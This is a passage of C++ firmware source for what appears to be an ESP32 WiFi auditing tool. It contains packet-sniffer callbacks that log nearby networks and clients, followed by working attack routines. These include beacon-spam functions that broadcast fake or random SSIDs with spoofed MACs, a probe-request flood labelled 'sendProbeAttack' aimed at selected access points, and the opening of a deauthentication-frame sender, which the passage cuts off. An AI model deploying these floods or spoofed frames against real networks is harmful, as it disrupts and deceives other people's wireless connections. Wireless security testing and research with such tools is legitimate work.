  1288. //Serial.println(" against " + (String)access_points->get(i).essid);
  1289. for (int x = 0; x < 6; x++) {
  1290. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1291. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1292. mac_match = false;
  1293. //Serial.println("MACs do not match");
  1294. break;
  1295. }
  1296. }
  1297. if (mac_match) {
  1298. in_list = true;
  1299. break;
  1300. }
  1301. }
  1302. if (!in_list) {
  1303. delay(random(0, 10));
  1304. Serial.print("RSSI: ");
  1305. Serial.print(snifferPacket->rx_ctrl.rssi);
  1306. Serial.print(" Ch: ");
  1307. Serial.print(snifferPacket->rx_ctrl.channel);
  1308. Serial.print(" BSSID: ");
  1309. Serial.print(addr);
  1310. display_string.concat(addr);
  1311. Serial.print(" ESSID: ");
  1312. display_string.concat(" -> ");
  1313. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1314. {
  1315. Serial.print((char)snifferPacket->payload[i + 38]);
  1316. display_string.concat((char)snifferPacket->payload[i + 38]);
  1317. essid.concat((char)snifferPacket->payload[i + 38]);
  1318. }
  1319. bssid.concat(addr);
  1320. int temp_len = display_string.length();
  1321. for (int i = 0; i < 40 - temp_len; i++)
  1322. {
  1323. display_string.concat(" ");
  1324. }
  1325. Serial.print(" ");
  1326. #ifdef HAS_SCREEN
  1327. if (display_obj.display_buffer->size() == 0)
  1328. {
  1329. display_obj.loading = true;
  1330. display_obj.display_buffer->add(display_string);
  1331. display_obj.loading = false;
  1332. }
  1333. #endif
  1334. if (essid == "") {
  1335. essid = bssid;
  1336. Serial.print(essid + " ");
  1337. }
  1338. //LinkedList<char> beacon = new LinkedList<char>();
  1339. /*AccessPoint ap = {essid,
  1340. snifferPacket->rx_ctrl.channel,
  1341. {snifferPacket->payload[10],
  1342. snifferPacket->payload[11],
  1343. snifferPacket->payload[12],
  1344. snifferPacket->payload[13],
  1345. snifferPacket->payload[14],
  1346. snifferPacket->payload[15]},
  1347. false,
  1348. NULL};*/
  1349. AccessPoint ap;
  1350. ap.essid = essid;
  1351. ap.channel = snifferPacket->rx_ctrl.channel;
  1352. ap.bssid[0] = snifferPacket->payload[10];
  1353. ap.bssid[1] = snifferPacket->payload[11];
  1354. ap.bssid[2] = snifferPacket->payload[12];
  1355. ap.bssid[3] = snifferPacket->payload[13];
  1356. ap.bssid[4] = snifferPacket->payload[14];
  1357. ap.bssid[5] = snifferPacket->payload[15];
  1358. ap.selected = false;
  1359. ap.beacon = new LinkedList<char>();
  1360. //for (int i = 0; i < len; i++) {
  1361. // ap.beacon->add(snifferPacket->payload[i]);
  1362. //}
  1363. ap.beacon->add(snifferPacket->payload[34]);
  1364. ap.beacon->add(snifferPacket->payload[35]);
  1365. Serial.print("\nBeacon: ");
  1366. for (int i = 0; i < ap.beacon->size(); i++) {
  1367. char hexCar[4];
  1368. sprintf(hexCar, "%02X", ap.beacon->get(i));
  1369. Serial.print(hexCar);
  1370. if ((i + 1) % 16 == 0)
  1371. Serial.print("\n");
  1372. else
  1373. Serial.print(" ");
  1374. }
  1375. ap.rssi = snifferPacket->rx_ctrl.rssi;
  1376. access_points->add(ap);
  1377. Serial.print(access_points->size());
  1378. Serial.println();
  1379. if (save_packet)
  1380. sd_obj.addPacket(snifferPacket->payload, len);
  1381. }
  1382. }
  1383. }
  1384. }
  1385. void WiFiScan::apSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1386. {
  1387. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1388. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1389. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1390. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1391. int len = snifferPacket->rx_ctrl.sig_len;
  1392. String display_string = "";
  1393. String essid = "";
  1394. String bssid = "";
  1395. if (type == WIFI_PKT_MGMT)
  1396. {
  1397. len -= 4;
  1398. int fctl = ntohs(frameControl->fctl);
  1399. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1400. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1401. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1402. #ifdef HAS_SCREEN
  1403. int buf = display_obj.display_buffer->size();
  1404. #else
  1405. int buf = 0;
  1406. #endif
  1407. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1408. {
  1409. char addr[] = "00:00:00:00:00:00";
  1410. getMAC(addr, snifferPacket->payload, 10);
  1411. bool in_list = false;
  1412. bool mac_match = true;
  1413. for (int i = 0; i < access_points->size(); i++) {
  1414. mac_match = true;
  1415. //Serial.print("Checking ");
  1416. //Serial.print(addr);
  1417. //Serial.println(" against " + (String)access_points->get(i).essid);
  1418. for (int x = 0; x < 6; x++) {
  1419. //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]);
  1420. if (snifferPacket->payload[x + 10] != access_points->get(i).bssid[x]) {
  1421. mac_match = false;
  1422. //Serial.println("MACs do not match");
  1423. break;
  1424. }
  1425. }
  1426. if (mac_match) {
  1427. in_list = true;
  1428. break;
  1429. }
  1430. }
  1431. if (!in_list) {
  1432. delay(random(0, 10));
  1433. Serial.print("RSSI: ");
  1434. Serial.print(snifferPacket->rx_ctrl.rssi);
  1435. Serial.print(" Ch: ");
  1436. Serial.print(snifferPacket->rx_ctrl.channel);
  1437. Serial.print(" BSSID: ");
  1438. Serial.print(addr);
  1439. display_string.concat(addr);
  1440. Serial.print(" ESSID: ");
  1441. display_string.concat(" -> ");
  1442. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1443. {
  1444. Serial.print((char)snifferPacket->payload[i + 38]);
  1445. display_string.concat((char)snifferPacket->payload[i + 38]);
  1446. essid.concat((char)snifferPacket->payload[i + 38]);
  1447. }
  1448. bssid.concat(addr);
  1449. int temp_len = display_string.length();
  1450. for (int i = 0; i < 40 - temp_len; i++)
  1451. {
  1452. display_string.concat(" ");
  1453. }
  1454. Serial.print(" ");
  1455. #ifdef HAS_SCREEN
  1456. if (display_obj.display_buffer->size() == 0)
  1457. {
  1458. display_obj.loading = true;
  1459. display_obj.display_buffer->add(display_string);
  1460. display_obj.loading = false;
  1461. }
  1462. #endif
  1463. if (essid == "") {
  1464. essid = bssid;
  1465. Serial.print(essid + " ");
  1466. }
  1467. AccessPoint ap = {essid,
  1468. snifferPacket->rx_ctrl.channel,
  1469. {snifferPacket->payload[10],
  1470. snifferPacket->payload[11],
  1471. snifferPacket->payload[12],
  1472. snifferPacket->payload[13],
  1473. snifferPacket->payload[14],
  1474. snifferPacket->payload[15]},
  1475. false,
  1476. NULL,
  1477. snifferPacket->rx_ctrl.rssi};
  1478. access_points->add(ap);
  1479. Serial.print(access_points->size());
  1480. Serial.println();
  1481. if (save_packet)
  1482. sd_obj.addPacket(snifferPacket->payload, len);
  1483. }
  1484. }
  1485. }
  1486. }
  1487. void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1488. {
  1489. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1490. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1491. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1492. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1493. int len = snifferPacket->rx_ctrl.sig_len;
  1494. String display_string = "";
  1495. if (type == WIFI_PKT_MGMT)
  1496. {
  1497. len -= 4;
  1498. int fctl = ntohs(frameControl->fctl);
  1499. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1500. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1501. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1502. #ifdef HAS_SCREEN
  1503. int buf = display_obj.display_buffer->size();
  1504. #else
  1505. int buf = 0;
  1506. #endif
  1507. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1508. {
  1509. delay(random(0, 10));
  1510. Serial.print("RSSI: ");
  1511. Serial.print(snifferPacket->rx_ctrl.rssi);
  1512. Serial.print(" Ch: ");
  1513. Serial.print(snifferPacket->rx_ctrl.channel);
  1514. Serial.print(" BSSID: ");
  1515. char addr[] = "00:00:00:00:00:00";
  1516. getMAC(addr, snifferPacket->payload, 10);
  1517. Serial.print(addr);
  1518. display_string.concat(addr);
  1519. Serial.print(" ESSID: ");
  1520. display_string.concat(" -> ");
  1521. for (int i = 0; i < snifferPacket->payload[37]; i++)
  1522. {
  1523. Serial.print((char)snifferPacket->payload[i + 38]);
  1524. display_string.concat((char)snifferPacket->payload[i + 38]);
  1525. }
  1526. int temp_len = display_string.length();
  1527. #ifdef HAS_SCREEN
  1528. for (int i = 0; i < 40 - temp_len; i++)
  1529. {
  1530. display_string.concat(" ");
  1531. }
  1532. Serial.print(" ");
  1533. if (display_obj.display_buffer->size() == 0)
  1534. {
  1535. display_obj.loading = true;
  1536. display_obj.display_buffer->add(display_string);
  1537. display_obj.loading = false;
  1538. }
  1539. #endif
  1540. Serial.println();
  1541. if (save_packet)
  1542. sd_obj.addPacket(snifferPacket->payload, len);
  1543. }
  1544. }
  1545. }
  1546. void WiFiScan::rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1547. {
  1548. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1549. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1550. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1551. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1552. int len = snifferPacket->rx_ctrl.sig_len;
  1553. String display_string = "";
  1554. if (type == WIFI_PKT_MGMT)
  1555. {
  1556. len -= 4;
  1557. int fctl = ntohs(frameControl->fctl);
  1558. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1559. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1560. }
  1561. Serial.print("RSSI: ");
  1562. Serial.print(snifferPacket->rx_ctrl.rssi);
  1563. Serial.print(" Ch: ");
  1564. Serial.print(snifferPacket->rx_ctrl.channel);
  1565. Serial.print(" BSSID: ");
  1566. char addr[] = "00:00:00:00:00:00";
  1567. getMAC(addr, snifferPacket->payload, 10);
  1568. Serial.print(addr);
  1569. display_string.concat(text_table4[0]);
  1570. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1571. display_string.concat(" ");
  1572. display_string.concat(addr);
  1573. int temp_len = display_string.length();
  1574. #ifdef HAS_SCREEN
  1575. for (int i = 0; i < 40 - temp_len; i++)
  1576. {
  1577. display_string.concat(" ");
  1578. }
  1579. Serial.print(" ");
  1580. if (display_obj.display_buffer->size() == 0)
  1581. {
  1582. display_obj.loading = true;
  1583. display_obj.display_buffer->add(display_string);
  1584. display_obj.loading = false;
  1585. }
  1586. #endif
  1587. Serial.println();
  1588. if (save_packet)
  1589. sd_obj.addPacket(snifferPacket->payload, len);
  1590. }
  1591. void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1592. {
  1593. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1594. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1595. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1596. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1597. int len = snifferPacket->rx_ctrl.sig_len;
  1598. String display_string = "";
  1599. if (type == WIFI_PKT_MGMT)
  1600. {
  1601. len -= 4;
  1602. int fctl = ntohs(frameControl->fctl);
  1603. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1604. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1605. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1606. #ifdef HAS_SCREEN
  1607. int buf = display_obj.display_buffer->size();
  1608. #else
  1609. int buf = 0;
  1610. #endif
  1611. if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0))
  1612. {
  1613. delay(random(0, 10));
  1614. Serial.print("RSSI: ");
  1615. Serial.print(snifferPacket->rx_ctrl.rssi);
  1616. Serial.print(" Ch: ");
  1617. Serial.print(snifferPacket->rx_ctrl.channel);
  1618. Serial.print(" BSSID: ");
  1619. char addr[] = "00:00:00:00:00:00";
  1620. getMAC(addr, snifferPacket->payload, 10);
  1621. Serial.print(addr);
  1622. display_string.concat(text_table4[0]);
  1623. display_string.concat(snifferPacket->rx_ctrl.rssi);
  1624. display_string.concat(" ");
  1625. display_string.concat(addr);
  1626. #ifdef HAS_SCREEN
  1627. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1628. {
  1629. display_string.concat(" ");
  1630. }
  1631. Serial.print(" ");
  1632. if (display_obj.display_buffer->size() == 0)
  1633. {
  1634. display_obj.loading = true;
  1635. display_obj.display_buffer->add(display_string);
  1636. display_obj.loading = false;
  1637. }
  1638. #endif
  1639. Serial.println();
  1640. if (save_packet)
  1641. sd_obj.addPacket(snifferPacket->payload, len);
  1642. }
  1643. }
  1644. }
  1645. void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1646. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1647. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1648. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1649. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1650. int len = snifferPacket->rx_ctrl.sig_len;
  1651. String display_string = "";
  1652. if (type == WIFI_PKT_MGMT)
  1653. {
  1654. len -= 4;
  1655. int fctl = ntohs(frameControl->fctl);
  1656. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1657. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1658. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1659. #ifdef HAS_SCREEN
  1660. int buf = display_obj.display_buffer->size();
  1661. #else
  1662. int buf = 0;
  1663. #endif
  1664. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1665. {
  1666. delay(random(0, 10));
  1667. Serial.print("RSSI: ");
  1668. Serial.print(snifferPacket->rx_ctrl.rssi);
  1669. Serial.print(" Ch: ");
  1670. Serial.print(snifferPacket->rx_ctrl.channel);
  1671. Serial.print(" Client: ");
  1672. char addr[] = "00:00:00:00:00:00";
  1673. getMAC(addr, snifferPacket->payload, 10);
  1674. Serial.print(addr);
  1675. display_string.concat(addr);
  1676. Serial.print(" Requesting: ");
  1677. display_string.concat(" -> ");
  1678. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1679. {
  1680. Serial.print((char)snifferPacket->payload[26 + i]);
  1681. display_string.concat((char)snifferPacket->payload[26 + i]);
  1682. }
  1683. // Print spaces because of the rotating lines of the hardware scroll.
  1684. // The same characters print from previous lines so I just overwrite them
  1685. // with spaces.
  1686. #ifdef HAS_SCREEN
  1687. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1688. {
  1689. display_string.concat(" ");
  1690. }
  1691. if (display_obj.display_buffer->size() == 0)
  1692. {
  1693. //while (display_obj.printing)
  1694. // delay(1);
  1695. display_obj.loading = true;
  1696. display_obj.display_buffer->add(display_string);
  1697. display_obj.loading = false;
  1698. }
  1699. #endif
  1700. Serial.println();
  1701. if (save_packet)
  1702. sd_obj.addPacket(snifferPacket->payload, len);
  1703. }
  1704. }
  1705. }
  1706. void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) {
  1707. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1708. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1709. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1710. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1711. int len = snifferPacket->rx_ctrl.sig_len;
  1712. String display_string = "";
  1713. String essid = "";
  1714. bool found = false;
  1715. if (type == WIFI_PKT_MGMT)
  1716. {
  1717. len -= 4;
  1718. int fctl = ntohs(frameControl->fctl);
  1719. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1720. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1721. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1722. #ifdef HAS_SCREEN
  1723. int buf = display_obj.display_buffer->size();
  1724. #else
  1725. int buf = 0;
  1726. #endif
  1727. if ((snifferPacket->payload[0] == 0x40) && (buf == 0))
  1728. {
  1729. for (uint8_t i = 0; i < snifferPacket->payload[25]; i++)
  1730. {
  1731. essid.concat((char)snifferPacket->payload[26 + i]);
  1732. }
  1733. for (int i = 0; i < ssids->size(); i++) {
  1734. if (ssids->get(i).essid == essid) {
  1735. Serial.println("Found a sheep");
  1736. found = true;
  1737. break;
  1738. }
  1739. }
  1740. if (!found)
  1741. return;
  1742. delay(random(0, 10));
  1743. Serial.print("RSSI: ");
  1744. Serial.print(snifferPacket->rx_ctrl.rssi);
  1745. Serial.print(" Ch: ");
  1746. Serial.print(snifferPacket->rx_ctrl.channel);
  1747. Serial.print(" Client: ");
  1748. char addr[] = "00:00:00:00:00:00";
  1749. getMAC(addr, snifferPacket->payload, 10);
  1750. Serial.print(addr);
  1751. display_string.concat(addr);
  1752. Serial.print(" Requesting: ");
  1753. display_string.concat(" -> ");
  1754. // ESSID
  1755. for (int i = 0; i < snifferPacket->payload[25]; i++)
  1756. {
  1757. Serial.print((char)snifferPacket->payload[26 + i]);
  1758. display_string.concat((char)snifferPacket->payload[26 + i]);
  1759. }
  1760. // Print spaces because of the rotating lines of the hardware scroll.
  1761. // The same characters print from previous lines so I just overwrite them
  1762. // with spaces.
  1763. #ifdef HAS_SCREEN
  1764. for (int i = 0; i < 19 - snifferPacket->payload[25]; i++)
  1765. {
  1766. display_string.concat(" ");
  1767. }
  1768. if (display_obj.display_buffer->size() == 0)
  1769. {
  1770. display_obj.loading = true;
  1771. display_obj.display_buffer->add(display_string);
  1772. display_obj.loading = false;
  1773. }
  1774. #endif
  1775. Serial.println();
  1776. if (save_packet)
  1777. sd_obj.addPacket(snifferPacket->payload, len);
  1778. }
  1779. }
  1780. }
  1781. /*
  1782. void WiFiScan::broadcastAPBeacon(uint32_t currentTime, AccessPoint custom_ssid) {
  1783. set_channel = random(1,12);
  1784. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1785. delay(1);
  1786. // Randomize SRC MAC
  1787. packet[10] = packet[16] = custom_ssid.bssid[0];
  1788. packet[11] = packet[17] = custom_ssid.bssid[1];
  1789. packet[12] = packet[18] = custom_ssid.bssid[2];
  1790. packet[13] = packet[19] = custom_ssid.bssid[3];
  1791. packet[14] = packet[20] = custom_ssid.bssid[4];
  1792. packet[15] = packet[21] = custom_ssid.bssid[5];
  1793. char ESSID[custom_ssid.essid.length() + 1] = {};
  1794. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1795. }*/
  1796. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) {
  1797. set_channel = random(1,12);
  1798. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1799. delay(1);
  1800. if (custom_ssid.beacon->size() == 0)
  1801. return;
  1802. // Randomize SRC MAC
  1803. // Randomize SRC MAC
  1804. packet[10] = packet[16] = random(256);
  1805. packet[11] = packet[17] = random(256);
  1806. packet[12] = packet[18] = random(256);
  1807. packet[13] = packet[19] = random(256);
  1808. packet[14] = packet[20] = random(256);
  1809. packet[15] = packet[21] = random(256);
  1810. char ESSID[custom_ssid.essid.length() + 1] = {};
  1811. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1812. int realLen = strlen(ESSID);
  1813. int ssidLen = random(realLen, 33);
  1814. int numSpace = ssidLen - realLen;
  1815. //int rand_len = sizeof(rand_reg);
  1816. int fullLen = ssidLen;
  1817. packet[37] = fullLen;
  1818. // Insert my tag
  1819. for(int i = 0; i < realLen; i++)
  1820. packet[38 + i] = ESSID[i];
  1821. for(int i = 0; i < numSpace; i++)
  1822. packet[38 + realLen + i] = 0x20;
  1823. /////////////////////////////
  1824. packet[50 + fullLen] = set_channel;
  1825. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1826. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1827. // Add everything that goes after the SSID
  1828. //for(int i = 0; i < 12; i++)
  1829. // packet[38 + fullLen + i] = postSSID[i];
  1830. packet[34] = custom_ssid.beacon->get(0);
  1831. packet[35] = custom_ssid.beacon->get(1);
  1832. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1833. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1834. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1835. packets_sent = packets_sent + 3;
  1836. }
  1837. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
  1838. set_channel = random(1,12);
  1839. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1840. delay(1);
  1841. // Randomize SRC MAC
  1842. packet[10] = packet[16] = custom_ssid.bssid[0];
  1843. packet[11] = packet[17] = custom_ssid.bssid[1];
  1844. packet[12] = packet[18] = custom_ssid.bssid[2];
  1845. packet[13] = packet[19] = custom_ssid.bssid[3];
  1846. packet[14] = packet[20] = custom_ssid.bssid[4];
  1847. packet[15] = packet[21] = custom_ssid.bssid[5];
  1848. char ESSID[custom_ssid.essid.length() + 1] = {};
  1849. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  1850. int ssidLen = strlen(ESSID);
  1851. //int rand_len = sizeof(rand_reg);
  1852. int fullLen = ssidLen;
  1853. packet[37] = fullLen;
  1854. // Insert my tag
  1855. for(int i = 0; i < ssidLen; i++)
  1856. packet[38 + i] = ESSID[i];
  1857. /////////////////////////////
  1858. packet[50 + fullLen] = set_channel;
  1859. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1860. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1861. // Add everything that goes after the SSID
  1862. for(int i = 0; i < 12; i++)
  1863. packet[38 + fullLen + i] = postSSID[i];
  1864. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1865. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1866. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1867. packets_sent = packets_sent + 3;
  1868. }
  1869. // Function to send beacons with random ESSID length
  1870. void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
  1871. set_channel = random(1,12);
  1872. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1873. delay(1);
  1874. // Randomize SRC MAC
  1875. packet[10] = packet[16] = random(256);
  1876. packet[11] = packet[17] = random(256);
  1877. packet[12] = packet[18] = random(256);
  1878. packet[13] = packet[19] = random(256);
  1879. packet[14] = packet[20] = random(256);
  1880. packet[15] = packet[21] = random(256);
  1881. int ssidLen = strlen(ESSID);
  1882. //int rand_len = sizeof(rand_reg);
  1883. int fullLen = ssidLen;
  1884. packet[37] = fullLen;
  1885. // Insert my tag
  1886. for(int i = 0; i < ssidLen; i++)
  1887. packet[38 + i] = ESSID[i];
  1888. /////////////////////////////
  1889. packet[50 + fullLen] = set_channel;
  1890. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1891. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1892. // Add everything that goes after the SSID
  1893. for(int i = 0; i < 12; i++)
  1894. packet[38 + fullLen + i] = postSSID[i];
  1895. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1896. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1897. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1898. packets_sent = packets_sent + 3;
  1899. }
  1900. // Function for sending crafted beacon frames
  1901. void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
  1902. set_channel = random(1,12);
  1903. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1904. delay(1);
  1905. // Randomize SRC MAC
  1906. packet[10] = packet[16] = random(256);
  1907. packet[11] = packet[17] = random(256);
  1908. packet[12] = packet[18] = random(256);
  1909. packet[13] = packet[19] = random(256);
  1910. packet[14] = packet[20] = random(256);
  1911. packet[15] = packet[21] = random(256);
  1912. packet[37] = 6;
  1913. // Randomize SSID (Fixed size 6. Lazy right?)
  1914. packet[38] = alfa[random(65)];
  1915. packet[39] = alfa[random(65)];
  1916. packet[40] = alfa[random(65)];
  1917. packet[41] = alfa[random(65)];
  1918. packet[42] = alfa[random(65)];
  1919. packet[43] = alfa[random(65)];
  1920. packet[56] = set_channel;
  1921. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  1922. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  1923. // Add everything that goes after the SSID
  1924. for(int i = 0; i < 12; i++)
  1925. packet[38 + 6 + i] = postSSID[i];
  1926. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  1927. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  1928. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  1929. packets_sent = packets_sent + 3;
  1930. }
  1931. // Function to send probe flood to all "active" access points
  1932. void WiFiScan::sendProbeAttack(uint32_t currentTime) {
  1933. // Itterate through all access points in list
  1934. for (int i = 0; i < access_points->size(); i++) {
  1935. // Check if active
  1936. if (access_points->get(i).selected) {
  1937. this->set_channel = access_points->get(i).channel;
  1938. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  1939. delay(1);
  1940. // Build packet
  1941. // Randomize SRC MAC
  1942. prob_req_packet[10] = random(256);
  1943. prob_req_packet[11] = random(256);
  1944. prob_req_packet[12] = random(256);
  1945. prob_req_packet[13] = random(256);
  1946. prob_req_packet[14] = random(256);
  1947. prob_req_packet[15] = random(256);
  1948. // Set SSID length
  1949. int ssidLen = access_points->get(i).essid.length();
  1950. //int rand_len = sizeof(rand_reg);
  1951. int fullLen = ssidLen;
  1952. prob_req_packet[25] = fullLen;
  1953. // Insert ESSID
  1954. char buf[access_points->get(i).essid.length() + 1] = {};
  1955. access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
  1956. for(int i = 0; i < ssidLen; i++)
  1957. prob_req_packet[26 + i] = buf[i];
  1958. /*
  1959. * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
  1960. 0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
  1961. 0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
  1962. 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
  1963. 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  1964. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1965. 0x00, 0x00
  1966. */
  1967. uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
  1968. 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
  1969. 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
  1970. 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
  1971. 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  1972. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  1973. 0x00, 0x00, 0x00, 0x00};
  1974. uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
  1975. for (int i = 0; i < 26 + fullLen; i++)
  1976. good_probe_req_packet[i] = prob_req_packet[i];
  1977. for(int i = 0; i < 40; i++)
  1978. good_probe_req_packet[26 + fullLen + i] = postSSID[i];
  1979. // Send packet
  1980. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1981. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1982. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  1983. packets_sent = packets_sent + 3;
  1984. }
  1985. }
  1986. }
  1987. void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel) {
  1988. // Itterate through all access points in list
  1989. // Check if active
  1990. WiFiScan::set_channel = channel;
  1991. esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
  1992. delay(1);
  1993. // Build packet
